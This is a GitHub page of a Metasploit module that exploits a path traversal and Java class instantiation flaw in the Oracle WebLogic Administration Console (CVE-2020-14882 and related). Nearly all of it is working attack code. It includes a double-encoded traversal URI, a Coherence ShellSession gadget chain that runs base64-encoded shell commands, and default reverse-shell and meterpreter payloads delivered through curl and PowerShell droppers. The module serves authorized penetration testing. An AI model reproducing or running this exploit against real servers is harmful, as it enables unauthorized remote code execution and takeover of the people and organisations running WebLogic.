-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
weblogic_admin_handle_rce.rb
212 lines (189 loc) · 6.07 KB
/
weblogic_admin_handle_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle WebLogic Server Administration Console Handle RCE',
'Description' => %q{
This module exploits a path traversal and a Java class instantiation
in the handle implementation of WebLogic's Administration Console to
execute code as the WebLogic user.
Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
14.1.1.0.0 are known to be affected.
Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows.
Warning! Multiple sessions may be created by exploiting this vuln.
},
'Author' => [
'voidfyoo', # Discovery
'Jang', # Analysis and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-14882'], # Auth bypass?
['CVE', '2020-14883'], # RCE?
['CVE', '2020-14750'], # Patch bypass
['EDB', '48971'], # An exploit
['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
['URL', 'https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf']
],
'DisclosureDate' => '2020-10-20', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 4,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(7001),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_handle(rand_text_alphanumeric(8..42))
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
if res.code == 200 && res.body.include?('Deploying Application')
raise RuntimeError
end
# HTTP/1.1 302 Moved Temporarily
# [snip]
# Location: http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage
# [snip]
unless res.code == 302 &&
res.redirection.path == '/console/console.portal' &&
res.redirection.query.include?('_pageLabel=UnexpectedExceptionPage')
return CheckCode::Safe('Path traversal failed.')
end
CheckCode::Vulnerable('Path traversal successful.')
rescue RuntimeError
vprint_error('Application is deploying, sleeping and retrying check')
sleep(1)
retry
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
send_request_handle(coherence_gadget_chain(cmd))
end
def send_request_handle(handle)
send_request_cgi(
'method' => 'POST',
'uri' => aperture_science_handheld_portal_device,
'vars_post' => {
'handle' => handle
}
)
end
def coherence_gadget_chain(cmd)
<<~JAVA.gsub(/^\s+/, '').tr("\n", '')
com.tangosol.coherence.mvel2.sh.ShellSession('
java.lang.Runtime.getRuntime().exec(
new java.lang.String[] {
#{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}
new java.lang.String(
java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")
)
}
)
')
JAVA
end
def aperture_science_handheld_portal_device
normalize_uri(target_uri.path, '/console/css/.%252e/console.portal')
end
def win_target?
target.platform.names.first == 'Windows'
end
end